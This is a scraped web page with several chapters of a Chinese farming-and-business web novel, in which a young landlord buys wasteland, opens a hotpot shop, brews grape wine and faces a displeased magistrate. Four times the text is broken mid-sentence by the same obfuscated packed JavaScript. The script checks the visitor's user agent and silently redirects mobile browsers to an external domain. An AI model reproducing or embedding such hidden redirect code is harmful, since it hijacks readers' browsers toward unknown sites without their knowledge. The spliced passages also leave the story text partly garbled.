;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487862|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家,即便东家做主分了钱粮给她,她又能保得住吗? 倒不如去给东家干活,哪怕苦点累点,至少能将自己和丈夫的血脉好好养大。 “我愿意!”余三嗫嚅着唇,又大声重复了一遍:“我愿意!谢谢东家!” “好,曲宝,你给余娘子登记一下,其他有人愿意的,也可以找曲宝登记,具体的报酬等过几日再通知,现在先继续发补偿款。” 李家的事情告一段落,刘家的补偿款发得比较顺利。 刘家人丁单薄,又都是老实巴交的,刘平的父亲沉默着领了钱粮,将银两交到呜咽着抹眼泪的老伴手里,便在大儿子的搀扶下缓缓走开了。 剩下的,便是重伤员的补偿,受了重伤爬不起来的船员一共九个人,其中有四个是曲家护院,另外五个从佃农里雇来的,这些人都送到了曲府,请了大夫回去医治。 曲花间给这五家人都发了三百斤粮食和二两银子,又承诺等这几个人伤好之后再给本人补偿十两银子,若是不治身亡的,也给家人补齐五十两。 这几家人都没什么意见,老老实实领了钱粮退开。 剩下的,便是轻伤和没受伤的船员,这些人的钱粮都是本人来领的,没受伤的二两银子一百斤粮食,这是原本便说好了。 受了伤的,按受伤程度给了一到五两的汤药费。 像李家嫂子这样贪心不足的人到底是少数,其他人对曲花间这样安排几乎是感恩戴德。 要知道,这个时代可没有什么工伤的说法,除非是做工时死在工地上,家里人去闹上一闹,能得个几两碎银子都是好的。 绝大多数人在给人做工时伤了残了,都是自己扛着,能扛过去,就能保住这份养家糊口的工作,扛不住的,管事才不会管你是不是做工时受的伤,直接将人丢出去了事。 对比起来,曲花间出手阔绰得简直像是活菩萨转世。 发完船员们的报酬和补偿款,曲花间又将佃户们的当家人召集起来开了个小会。 曲家的千亩良田分四个庄子,每个庄子上有一个管事,负责田地和佃农们的大小杂事。 说是管事,其实也就是佃农里选出来的稍微精明能干些又识得几个大字的人。 此时管事们低眉顺目逐一汇报着各自庄子上的事宜,时值三月,春耕在即,佃农们勒紧裤腰带省出来的粮种都已育上苗,再有十天左右便可以插秧。 “各家秧苗情况你们可都清楚?够不够数量?” 邻河庄的杨管事是四人中最会来事的一个,平日里和主家接触最多的便是他,此时也是他回答曲花间的问话:“庄稼人无论如何也舍不得把粮种给吃了的,可今年实在艰难,估计全部种下去,能有一半空田。” “一半?”曲花间蹙眉,却也没说什么,毕竟佃农们若不是凑了那么多粮食给曲家交税,也不至于那么艰难。 “南方的稻种比我们这的品种好,但不知道能不能适应北方的环境,我买了一万五千斤稻种回来,先按每亩空田发五斤下去,让他们抢时间种下去试试。” “另外再按老人一百斤,年轻人一百五十斤,孩子八十斤的标准给每家发粮食,算是还去年大伙儿凑粮食给我们交税的人情,这些粮食,只要省着点吃,应该够撑到秋收了。” 交代完各项事宜,曲花间坐上将伤员运回去又折返回来接他的马车,赶在城门关上之前进了城。 天色渐晚,曲宝点亮了挂在车檐上的油纸灯笼,纸灯笼散发出昏暗的灯光,照亮了曲花间略带青黑的眼圈。 曲花间透过车窗观察着路上行色匆匆的路人,看着熟悉的店铺招牌,总算有了点回家的感觉。 12. 买地 春日的正午阳光和煦,曲花间睡到日上三竿才起身,命人将饭食挪到院子里开始进食。 一碟炒鸡蛋,两盘时令青菜,还有一大碗肉粥,被曲花间迅速又不失优雅的下了肚。 刚吃过饭,便听曲宝汇报说林茂两兄妹和余三母子已经到曲府报道了。 曲花间给林冉治病花了不少钱,他虽然不需要两兄妹当牛做马报恩,但也不是慈善家,便让他们给自己做工还账。 至于余三,她丈夫到底是给自己做工才去世的,于情于理,曲花间都应该帮忙解决一下生计问题。 除了余三,刘平的家里曲花间也让人去传了话,如果他们愿意来给自己做工的话,也是优先录取,只是刘家人口少,地里的活忙不完,并没有来。 曲花间让曲福给四人安排了住处,又问起粮食的情况。 “回少爷的话,今儿一早老奴便着人把粮食运回来了,那狗……城门校尉不同意以银两抵过税,硬生生收了一万五千斤粮食去!”曲福提起此时肉疼得不行,这可是他家少爷千辛万苦买回来的粮食,却被那些狗官搜刮了这么多去。 “收这么多?是没打点好吗?”昨日在码头将给佃户们的粮食分了后,粮食和粮种满打满算也就还剩十二万斤,过税只收一成,怎么也用不了一万五千斤这么多。 “怎么没打点,老奴足足给那领头的塞了五十两银子呢,要不然他能数出二十万斤去!” “哼!”曲花间冷笑,“这些人心够黑的。” “就是!”曲宝皱着鼻子义愤填膺。 “算了,等以后在庄子上盖栋房子,再修个大仓库,粮食什么的都放庄子上,不拉进城他总不能去乡下收税吧?” 话虽如此,但曲花间还是忍不住懊恼,怪他这段时间只顾着担心运粮的事,完全忽略了这么多粮食运回来,不被当官的盘剥一层才怪了。 不过事已至此,再懊恼也没用,曲花间又和曲福父子讨论起开荒的事来。 曲家除了几个庄子上的良田,还有几百亩林场和一座莫约两百多亩的荒山,林场曲花间不打算动,荒山则可以利用起来。 地势低平的地方可以开垦出来做水田,山坡上用来种从广陵带回来的黄豆和高粱。 水稻最晚播种时间在四月份,黄豆高粱则最晚五月份都可以播种。 目前佃农里面报名开荒的已经有四五十人,平均一个人一天能开垦出一亩荒地,加上挖水渠引水等事宜,时间绰绰有余。 说干就干,曲花间找来林茂和余三,让两人协助曲福,从明天起便开始召集报名的人下地开荒。 交代完这些,曲花间又从怀里取出几张宣纸递给曲宝,“这是我闲来无事琢磨出来的犁头和水车图纸,你找些工匠看能不能制作出来。” 这个时代农民用的还是笨重费力的长直辕犁,灌溉也全靠人力运水,而曲花间给曲福的则是曲辕犁和风力水车的图纸。 拜从前爱看小说所赐,曲花间每看到一些稀奇古怪的东西都会在网上搜索研究一下,才能记住这些农具的构造。 曲花间的图纸是用细木炭画的,看着有些糊,但也勉强能看出清晰的结构和一旁用于解说的小字。 曲宝仔细端详了片刻,并没看出什么稀奇,但这是自家少爷的吩咐,他还是珍而重之的将图纸收了起来。 开荒的事情刻不容缓,第二日曲福便带着曲家有空闲的下人出了城。 曲宝也出门去寻工匠制作曲辕犁和水车去了,曲花间闲得无聊,便领着林冉和余三的儿子李阿大出门逛耍。 两孩子从小在乡下长大,家里大人一年四季忙于生计,很少带他们进城,两双亮汪汪的圆眼充满了好奇。 事实上去年刚遭了大灾,如今又时值春耕,街上行人很少,导致商贩也不多,完全没有去年热闹,但这些都不妨碍两个小孩儿左顾右盼,时不时还发出惊奇的声音。 两个小孩儿到底还是顾及着自家大人不在身边,带他们出来的是东家,所以并不敢乱跑,连讲话都小小声的。 走了好一会儿,才看到街角有个卖糖葫芦的小贩,小贩举过头顶的稻草垛子上零星插着几根竹签子,每根上面穿着八个红滟滟的山楂,上面裹着薄薄一层晶莹剔透的糖壳子,看得人口舌生津。 曲花间花三十文钱买了三根冰糖葫芦,和俩小孩儿一人分了一根。 于是萧瑟冷清的街头就出现了这样一幅画卷,一个白皙清俊的半大少年和一双瘦小可爱的孩子一人举着根冰糖葫芦津津有味的啃着,身后还跟着两个人高马大的保镖。 保镖自然是曲花间的护院,这两人是曲宝出门前安排的,如今物价上涨,城里许多人吃不饱饭,就开始干起偷鸡摸狗的行当。 像曲花间这样白白净净气质清贵的小少年,即使穿着再低调朴素,脸上也明晃晃写着‘有钱’两个字。 曲花间逛着逛着,便走到了县衙附近,县衙正门上方挂着用繁体字写有“青岱县衙”字样的牌匾,门口站着两个值守的衙役正偷闲唠嗑。 正门旁边还有两个小门,曲花间从小门进去,找到挂着“户房”二字的小房间,白皙纤细的手敲了敲虚掩着的房门。 县衙的户房负责全县土地、户籍、赋税和财政等各项事宜,所以里面官吏不少,曲花间找到负责土地买卖的官吏,说明自己想买些无主荒地的来意。 那官吏闻言笑眯眯的将他领进一个单独的小房间,也不说正事,只笑眯眯的捏着胡子,上下打量着曲花间。 曲花间心中泛起一阵恶心,这些狗官,事还没开始谈呢,就开始想要贿赂了。 可惜民不与官斗,哪怕这人不过是县衙里最底层的小吏,身为白身的他也一样招惹不起。 他故作懂事的从怀里掏出一个钱袋,双手奉到小吏面前,“草民来得匆忙,空着手便来拜见大人真是不好意思!小小心意不成敬意,大人拿去买点茶酒吃吃。” 小吏接过钱袋掂了掂份量,十分满意的点点头,堂而皇之的便踹进了衣兜里,连推辞半句都不曾有,想来收受贿赂在这些人眼里早已是家常便饭了。 收了钱小吏总算开始办事,他铺开一张羊皮地图,圈了几处空地给曲花间选。 这些地方都是荒无人烟的无主之地,若有人买下来,只要上缴足够的银钱,官府就会下发相应的地契,程序十分简单。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487863|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而荒地的位置离县城越近,价格就越贵,反之则更便宜。 曲花间心中默算了下自己手中的银子,又故作为难的选了位于清江下游离县城莫约三十里地的一处位置。 这处地方是一个大山坳,靠山面水,山坳中地势相对平坦,除了交通不太方便外,几乎毫无缺点。 最后曲花间以三千两银子便将这处山坳和后面几座包围住山坳的大山全买了下来。 曲花间看着墨迹未干的地契心里十分满意,这处地方林场面积占了一大半,所以耕地面积只算三千亩,但距他粗略估算,这里至少能开垦出上万亩地来。 而且开荒地前两年不收税,第三年到第五年只收一成税,若是经营得好,他光种地便能吃穿不愁了。 那小吏看着曲花间洋洋自得的样子也很满意,好不容易才能遇上这么一个冤大头,卖出去这么大一块荒地,只要在帐目上小小改动一下,他便能赚上一大笔银子,足够他胡吃海喝好一阵子了。 正是因为想到这点,小吏给曲花间办理地契的时候格外利落,鲜红的印章一落,曲花间又多了一块上万亩的土地。 曲家护院很快便将银两送了过来,小吏点清数量后便将这张薄薄的纸递给了曲花间。 曲花间买的地名曰糖罐山,因春日漫山遍野开满糖罐花而得名。 这种花结出的果子是一种名叫金樱子的药材,植株全身带刺,要将这些刺藤清理干净恐怕要费些功夫。 曲花间也知道一口气吃不成胖子的道理,只招了一百个帮工前去开荒,争取在春日结束之前能开出一片地来,能种多少算多少。 如今给曲花间开荒的帮工已经有一百五十个人,每人每天包早晚两顿饭,还有二十文工钱,听起来不算多,但一个月也要上百两银子和四五千斤粮食。 “照这个样子下去,等不到秋收,我就要破产了。”曲花间叹了口气将最近一个月的账本合上。 “曲辕犁和水车的事如何了?” 距离曲花间南下回来已经过去了半个月,曲宝这段时间几乎日日早出晚归的忙活这件事情。 “曲辕犁还算简单,我找了几个木工和铁匠赶工制作出了五个,已经送去庄子上试用了,听说效果不错,比从前用的犁头省力多了,少爷您可真是个奇才,什么都懂!”曲宝两眼冒星星,一脸崇拜的拍着马屁。 “水车结构复杂,目前只有城南的鲁木匠能勉强看懂图纸,还没做出成品来,我今儿下午去瞧了瞧,勉强有个雏形了,要完工恐怕还有些时日。” 曲花间闻言点点头,“让工匠们继续赶赶工,多做些曲辕犁送去糖罐山那边,目前地里还不缺水,等等也没事。” “知道了少爷!还有就是工匠们也看出了咱家曲辕犁的好处,托我问问少爷能不能把这制作方法卖给他们。” “他们想用就用吧,只要优先供给我们就行了,这些图纸都是我在一本古书上看到的,本来我也不是发明他们的人。” 改良这些农具的人本来也是想让老百姓能种出更多地,让更多人吃饱饭,曲花间虽然没有这份才能,亦没有广阔的胸襟,但也不至于私心自用。 13. 火锅 有了曲辕犁,开荒效率高了许多,城外的荒山总算赶在四月下旬全部种上了种子。 水车也在四月下旬的时候成功问世,有了水车,庄稼的灌溉问题也解决了,曲花间站在湿漉漉的田埂上,看着蓄满水的田里整齐有序的一排排秧苗,心中成就感十足。 这边田地全部开垦出来,原本负责开荒的五十个人只留了十五个人伺弄庄稼,剩下的人全都去了糖罐山那边。 糖罐山那边交通不便,开荒难度也大,目前只开垦出不到一千亩水田,今年剩下的地只能开出来种高粱和黄豆了。 等种高粱黄豆的季节过去,开荒的进度也并没有慢下来,剩下的荒地要想全部开垦出来,差不多要半年时间。 半年后庄稼也陆陆续续开始成熟,等秋收结束便要入冬,这些荒地只能明年再播种了。 曲福老胳膊老腿的,在糖罐山和城里来回奔波,不过半个月,便累得瘦脱了形,曲花间便让他只负责城外这边,另外将林茂和庄子上的杨管事派过去负责那边的事宜。 时光匆匆,两个月很快过去,春耕总算全面结束,天气也渐渐热了起来,曲花间穿着薄衫,手中的扇子舞得哗啦作响。 看着愈发空荡的库房,曲花间总算找回了些前世看银行卡余额的窒息感。 今年青岱县雨水充足,气候事宜,庄稼长势极好,连新开的荒地上的庄稼也在曲花间教会帮工们沤肥施肥之后,看起来郁郁葱葱。 不出意外的话,等秋收之后粮食价格就会降到往年的水平,所以想靠卖粮食挣钱,很可能两三年都回不了血。 不过今年的收成他也没打算卖,只要保存得好,粮食放好几年都不是问题,若是往后再遇上去年那样的灾年,他和手底下的人也不至于挨饿。 好在曲家还有不少铺子,原身父亲去世后,祖父无力经营,便将铺子全部租了出去,每月能有一百多两银子的进项。 曲花间冥思苦想了好几日,翻遍了脑海中的有限的知识库存,总算想到了一条生财之道。 老百姓离不开衣食住行四个字,这时代的调味料大多数只用来做药材和香料,所以吃食方面十分简单,哪怕手艺再好的大厨,也只能在食材的处理手法上下功夫。 而曲花间这个吃货,厨艺虽说比不上现代大厨,但想在这古代标新立异简直绰绰有余。 所以曲花间考虑了一段时间,最后决定开一家火锅店和卤味店。 火锅必须要有辣椒,这个时代还没有人吃辣椒,曲花间也是去年偶然在自家祖父的盆栽里发现一株五彩辣椒。 这种辣椒没有小米椒辣,产量也不如小米辣,但胜在观赏性强,才能被当成花卉传入北方。 自从发现五彩椒之后,曲花间便守着这棵辣椒树,熟一个摘一个,晒干后将籽全部挑出来留种,果皮全部下了锅。 今年春天曲府各个花圃里长满了五彩斑斓的辣椒,可把曲花间美坏了。 有了辣椒,曲花间又去医馆买了许多可以用作调料的药材,还让曲花间在黑市上搞到几斤牛油。 任何朝代的牛都是受官府保护的重要财产,除非是老死病死的牛可以吃,私自杀牛牢底坐穿,所以牛肉稀有且昂贵。 一挂十斤的牛油,和一笼牛下水,足足花去五两银子,要知道,一头待宰的肥猪也差不多就五两银子。 不过想到牛油火锅涮毛肚的滋味,曲花间瞬间没那么心疼银子了。 他哼着小曲儿走进厨房,将牛油洗净切块扔进锅里,又倒进去小半瓢水,开始熬油。 这期间他又开始处理牛下水,肚子和肠子买回来前都经过粗略的清洗,所以看起来并不腌臜。 他用米酒和面粉将毛肚和牛肠搓洗干净,又用清水淘洗了好几遍,才将这些食材切成一条一条的。 至于牛肝和牛腰子,曲花间让厨娘片成薄片装盘,再打上两个生鸡蛋裹在上面。 很快牛油便熬好了,焦香的味道充斥着鼻腔,曲花间将多余的牛油舀进干净的陶罐里,锅里剩下的用来炒料。 香料和干辣椒一下锅,锅里瞬间便哗啦啦炸了起来,辛辣的气味冲得在一旁帮忙择菜的曲宝和厨娘直打喷嚏。 曲宝捏着呛得受不了的鼻子,大声说:“少爷,您这能吃吗?这么多药材下去,跟炼毒似的!” “等会儿你就知道了!”锅里油炸声音滋啦滋啦地响,曲花间提高嗓门大声回答。 很快,院子里的葡萄藤下便架起一个小炉子,上面架着一口脸盆大的铜锅,油汪汪的汤底咕噜咕噜的沸腾着,锅边围着一圈人正迫不及待的涮着筷子上的食材。 早先说曲花间在炼毒的曲宝此时辣得大汗淋漓,却仍舍不得放下手中的筷子。 “少爷,您可太厉害了,这个煮肉,不对,火锅可真好吃,我都停不下筷子!” “这牛肚从前我也吃过一回,腥臊无比,没想到用来涮火锅这么好吃!”林茂两眼放光,一大片毛肚被他随便嚼吧了几下便下了肚。 为了迎合古代人的口味,曲花间特意将曲福父子,林茂陈成和余三几个都叫来试吃。 这些古代人虽然从来没吃过辣,但只要尝试过一次,便立马爱上了这种味蕾上的刺激。 见除了林冉和李阿大因为辣得小脸通红而停下了筷子,其他人都吃得津津有味,曲花间心里有了底,他给两个小孩儿打了两碗开水,让他们将煮熟的食材过一道开水再吃,两个小家伙这才又大快朵颐起来。 因着牛油和牛肉太过稀缺,曲花间调整了火锅的配方,底料里加入大部分猪油,只用小部分牛油提味,牛肉和牛杂也换成了猪身上的各个部位。 虽然味道略逊一筹,但从几次让人试吃的反应来看,猪油火锅照样很受欢迎。 除了红油锅底,曲花间还尝试了骨头汤底和菌菇汤底,这两样更适合不能吃辣的大人和小孩子。 这时代铜器很贵,曲花间只得请铁匠做了几十口铁质的鸳鸯锅,虽然没有铜锅美观而且有些笨重,但胜在质量过硬。 除了火锅,曲花间还尝试了卤味。 平时被人嫌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487864|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弃没几两肉还不怎么好吃的猪头肉被加了数种香料的卤水熬制入味,又切成片就着芹菜和红油辣椒一拌,瞬间变得风味十足。 除了凉拌猪头肉,曲花间还试着将鸭子分切成各种部位做成卤鸭货,还有卤鸡蛋,这些都深受众人喜爱。 一时间曲家上下几十个人每天最期待的就是自家少爷端出满满一大盆卤货给他们试吃。 每次吃完少爷还会郑重其事的问他们味道如何,有没有哪里需要改进? 天菩萨!这么好吃的东西让他们提意见,这不是让他们鸡蛋里挑骨头吗!? —— 两月前曲家有位租户因经营不善倒闭了,空出一间两层小楼的临街铺子。 原来的租户是开酒楼的,所以铺子里桌椅板凳都是齐全的,曲花间请了木匠将饭桌中间掏了个洞,又订了一批炭炉放在桌下,一张张简易的火锅桌子便做成了。 一楼地方十分宽敞,曲花间大手一挥,将临街的一个角落隔出来做卤味店,一面临街散卖,一面对着大堂做了个柜台,若吃火锅的试客想尝尝卤味,也可以点了单让小二端上来。 忙碌了一月有余,曲花间的火锅店和卤味店总算正式开业。 开业这天曲福不知从哪请来一支唢呐队伍,沿街敲锣打鼓的搞宣传,许多路人都凑过来看热闹。 曲花间并没参加开业典礼,而且坐在二楼包厢看着曲福和新请的掌柜在大门口说了许多吉祥话,然后麻绳一拉,被红绸遮住的牌匾露了出来。 涮了清漆的红木牌匾上用楷书刻写了几个烫金大字,火锅店名曰:“满座火锅”,寓意着高朋满座,财源广进。 旁边卤味店的小牌匾则低调许多,名为“曲记卤味店”。 因为火锅成本较高,曲花间的定价也不算低,主要面对的消费团体是城中的富户和手中有些余钱的人家。 而卤味店则不一样,除了肉食,曲花间还弄了卤豆干,莲藕等素菜,定价也不高,而且多少不限,即便普通人家也能花个十几文钱买点卤味尝尝鲜。 是以店面一开张,门口虽然围满了人,但真正进店吃火锅的只有寥寥几波人,倒是一旁的卤味店,因着掌柜一直在招呼众人,直说可以先尝后买,没一会儿便排起了长队。 这些人大多数是为着免费品尝的名头来排队的,但也不乏有人尝了一口后便被这芳香四溢的新吃食吸引,直觉入口后唇齿留香,让人欲罢不能。 许多手中有余钱的人都纷纷掏出铜板,或多或少的买了些,迫不及待的想带回家给家里人尝尝。 也有人不停张望着火锅店内部,此时进店的客人已经烧开了锅开始涮菜,那霸道的香味迅速蔓延出来,隔着半条街都能闻到那令人口舌生津的味道。 曲花间给自己斟了杯茶,看着楼下不停招呼客人的掌柜,满意的点点头。 这掌柜姓胡,是曲宝母亲的娘家舅兄,年纪只有四十多点,但为人处世十分老道,管他客人买多买少,或是只尝不买,他都乐呵呵的笑脸迎人,哄得客人直说下次再来! 14. 县令 火锅店的生意蒸蒸日上,从开业时的每日几桌客人,但后面逐渐累积了人气,日日爆满,曲花间看着每日如流水般的进账乐得合不拢嘴。 青岱县虽然受灾严重,穷苦百姓许多都吃不饱饭,但隐藏的富人也不少,再加上今年风调雨顺,眼看着秋日将迎来大丰收,许多捏紧钱袋过日子的人家也都不再那么紧张,纷纷带着家小来品尝这风靡青岱的新式美食。 “小二,给我来壶山楂水!”一中年食客被红锅辣得面红耳赤,招呼小二点了一壶朋满座的特色饮料。 坐在他下首的总角小儿吃着清汤并不渴,但还是嘴馋的撒娇,“爹爹,酸梅汤,酸梅汤!小丫要喝酸梅汤” “行,给你点酸梅汤!”食客笑着摸摸女儿的头,答应道。 这些饮料都是曲花间循着从前的记忆捣鼓出来的,除了酸梅汤和各色果汁,曲花间还尝试着做了些葡萄酒。 曲家林场里有许多野生山葡萄,这些野果产量高,但味道酸涩,除了缺乏吃食的乡下小孩儿,没人会吃。 进入七月份后山葡萄陆陆续续开始成熟,曲花间便让村里小孩儿们去摘了山葡萄卖给自己,两斤山葡萄换一碗酸酸甜甜的酸梅汤,若是酸梅汤没了,便换成一个铜板。 一时间听说山上没人要的野果还能换钱,趁着秋收还有些时日,许多大人都纷纷结伴上山摘山葡萄换点铜板补贴家用。 新鲜的山葡萄洗净晾干水份,全部捏碎后放入干净的容器中,混入冰糖密封起来后发酵个一二十天,便能滤出玛瑙红色晶亮的液体。 曲花间轻抿了一口,味道醇厚,略带酸涩,淡淡的酒精味带来微醺的感觉,竟比米酒还要醉人些。 虽说味道不如专业设备酿制出来的红酒好,但第一次就能做到这个程度,曲花间也十分满意。 葡萄酒上市后果然大受欢迎,除了堂食,许多好酒之人纷纷表示想打包些回去慢慢喝,毕竟火锅这东西没人会天天吃,但酒许多人却是经常喝。 于是曲花间又连夜定制了许多包装,分高中低档分别定制的精美的瓷瓶加木盒、陶制酒坛和木制酒桶。 葡萄酒也根据口感分了三个等级,还分别定制了三种包装,一时间葡萄酒的销售额几乎要赶超火锅店了。 曲花间专门在城外盖了间酿酒坊,请了十多个工人酿酒,但葡萄酒仍旧供不应求。 眼看秋收在即,曲花间也没心思再去扩大酿酒坊的规模了,何况酿葡萄酒需要大量的糖,青岱县能收购的糖都让他收购完了,现在县里各大糖商看他都像看财神爷。 天大地大粮食最大,曲花间干脆将葡萄酒改成限量供应,一切问题等明年再解决,然后开始领着人开始抢收粮食。 八月份的天气仍旧热得人心慌,曲花间咕嘟咕嘟灌了一大碗凉开水,用搭在脖子上的布巾擦了擦额头上如大雨般顺流而下的汗水,继续扎进田里帮着割稻子。 佃农们都要忙着收割自家的稻子,曲花间也没与人为难,只给愿意留下替曲家秋收的工人涨了五文工钱,又带领着曲家下人一齐下地干活。 四十多个人忙了七天,才把城外两百多亩田地收割完毕。 因为这些田地都是今年新开荒出来的,粮食产量比周围的良田少了不止一点半点,两百多亩拢共才收了两万多斤粮食。 而周围佃农们租用的良田,在学着曲家田里用粪便和草木灰沤肥施肥后,产量突飞猛进,亩产几乎都达到了三百斤。 亩产三百斤,再加上旱灾后减税三年,曲老爷子在世时也承诺了佃农们这三年只用交两成地租,算下来今年所有人到手的粮食比往年全部产量还要多。 看着佃农们忙完自家田里的活,一个个满面红光,面带感激地跑来给自己免费帮忙的样子,曲花间心中充盈着一股说不出来的感觉。 这种感觉类似于一个大家长,在经过不懈努力后将家人养得白白胖胖的那种成就感,让曲花间满足不已,又干劲十足。 北方的秋天不算长,但在几百个人的努力下,秋日还未过半,糖罐山那边的粮食也都全部收进了粮仓。 夏天的时候曲花间便让人在糖罐山和城外分别修建了一大一小两座粮仓,收起来的粮食晒干水分就近送入粮仓封存起来,总算不用再运进城里受城门看守的盘剥。 秋收结束便是农闲时候了,给曲花间做工的工人纷纷复岗,开荒的开荒,酿酒的酿酒,各项事宜渐渐步入正轨。 秋日悄然而去,第一片雪花落下来的时候,曲花间正用最近新捣鼓出来的肥皂洗手帕。 冰凉的水里落入一片片晶莹的雪花,很快便被水同化,唯一留下的痕迹大概是让水变得更加冻人。 曲花间抬头看天,如棉絮一般轻盈的雪飘扬而下,有的落在顺着衣领的缝隙钻进去,激得他打了个冷颤。 三下五除二将手帕搓洗干净,曲花间赶紧躲进屋檐下,曲宝贴心的搬来一把摇椅,又沏上一壶热茶,供曲花间赏雪。 跟亲和没架子的曲花间待久了,曲宝也变得随意起来,他找来一把小板凳,蹲坐在曲花间身边和他一同赏雪闲聊。 “少爷,您做的这个肥皂洗东西可真干净!您这块手帕前两日沾了油,怎么也洗不掉,我都准备让我爹重新给您定做一批手帕了,谁知道您竟然想办法给洗干净了!” 曲宝将手里的帕子翻来覆去的看,发现上面一点污渍都看不到了,这才小心翼翼的将手帕牵得平平整整的,搭在走廊扶手上晾着。 “少爷!您可太厉害了!什么都会,之前的火锅,红酒,还有这个肥皂,甚至还能让庄稼多长出粮食来!您不会是天上的神仙转世吧!” 曲花间抿了口茶,伸手轻轻在曲宝脑门儿上弹了一下,这小子最近越来越话唠了,而且净拍马屁。 “会做点新鲜东西就是神仙转世了?还有,不是我让庄稼多长出粮食,而且肥料的功劳,从前人们只知道粪便这些东西腌臜,却不知道对于植物来说,这些都是宝贝。” “那么多人怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487865|185719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没发现?就您发现了,还不是说明您厉害嘛!”曲宝捂着脑袋继续嬉皮笑脸。 “我也是在杂书上看到的,让你平日里多看书,你偏不听。” “哎哟少爷!您快别为难我了,我又不用参加科举,看那么多书做什么?我唯一的任务就是把您伺候好了,以后您得道,我也跟着升天,嘻嘻!” “一人得道鸡犬升天,所以你是鸡还是犬?” 曲宝:“……” 见说不过自家少爷,曲宝赶忙转移话题,他举起没一会儿便干燥了的肥皂,问曲花间:“少爷,这东西效果这么好,拿出去卖肯定很好卖,您准备什么时候雇人批量生产啊?” 曲花间摇摇头,继续喝着手里的热茶,道:“再等等吧,这东西要用到大量的油脂,出去买零零散散的不说,一次性也收不了多少,我准备先弄个养猪场,一方面供给火锅店的食材,多出来的猪油再用来做肥皂。” “那可太可惜了,等盖好养猪场,再养大一批肥猪,这么些时间得少挣多少钱啊!”曲宝摇头叹息,跟自己丟了钱一般。 “一口气吃不成胖子,火锅店和红酒每日进账的钱还不够你数的?” 如今火锅店生意火爆,每日能有三五百两的收入,因着铺面是自己的,省去了房租,再刨去人工和成本,净利润能达到一半左右。 而卤味店价格相对亲民,赚得少一些,但每日还是能盈利几十两。 除了两家店面,葡萄酒的利润空间更高,三种规格的葡萄酒都是一斤装的,木桶装的一小桶五百文,陶罐装的一两银,而更高端的瓷瓶装的,加了一个木制礼盒,便能卖到十两银子一瓶。 就这样高昂的价格,因着限量供应的原因,许多富人还有钱买不着,好几次有人为了抢最后一瓶葡萄酒大打出手。 虽说酒的品质不一,但实际成本都是一样的,一瓶葡萄酒的成本也不过三斤葡萄和一斤糖。 而曲花间用来酿酒的山葡萄价格低廉,唯一贵一些的便是糖。 市面上一斤成色好的糖能卖到两百文一斤,而曲花间是向糖商批量订购的糖,只要干净卫生,并不要求成色,所以价格在一百到一百五十文之间浮动。 可惜北方不适宜种植甘蔗,又没发现适宜北方种植的甜菜根,只能忍着肉疼从糖商手里买糖。 曲花间正在回忆除了甘蔗和甜菜以外还有些什么糖源植物时,曲福却带来一个惊人的消息。 原来是满座火锅店生意越来越好,这几个月来在青岱县名声大噪,竟惊动了县太爷。 此时县太爷正在满座火锅的包厢里坐着,说是看起来脸色极其不好,对菜品挑三拣四,小二上前伺候也是各种为难。 随他一同来的十几个衙役也是,在店门口板板正正站了一排,也不进去吃饭,也不肯散去,那架势仿佛下一刻就要将朋满座查抄了似的。 胡掌柜见此情景,立马反应过来县太爷这是对东家心有不满,找茬来了,赶紧让小二跑回来请曲花间。 15. 贿赂 曲花间听曲福喘着粗气磕磕绊绊将话说完,也明白自己这段时间赚了不少钱,却没懂事的上供,惹县太爷不高兴了。 “怎么办呀少爷!县太爷不会查封我们的店吧?”曲宝急得团团转,被曲福狠狠踹了一脚。 “乌鸦嘴!” 曲花间不急不缓的起身,还悠然自得的理了理衣袍,吩咐曲宝:“去把我书房桌子上那个檀木盒子取来,咱们去会会县太爷。” 见自家少爷完全不慌,曲福父子这才松了口气,曲宝连跑带跳的去取盒子,曲福也赶紧去备车。 曲府和满座火锅一个在城西,一个在城中心,马车跑了莫约一刻钟才到。 曲花间下车,果然看到店门口站的一排衙役,而大厅的食客们早已跑干净,有两个小二正顶着衙役们像是要吃人的眼神收拾桌子。 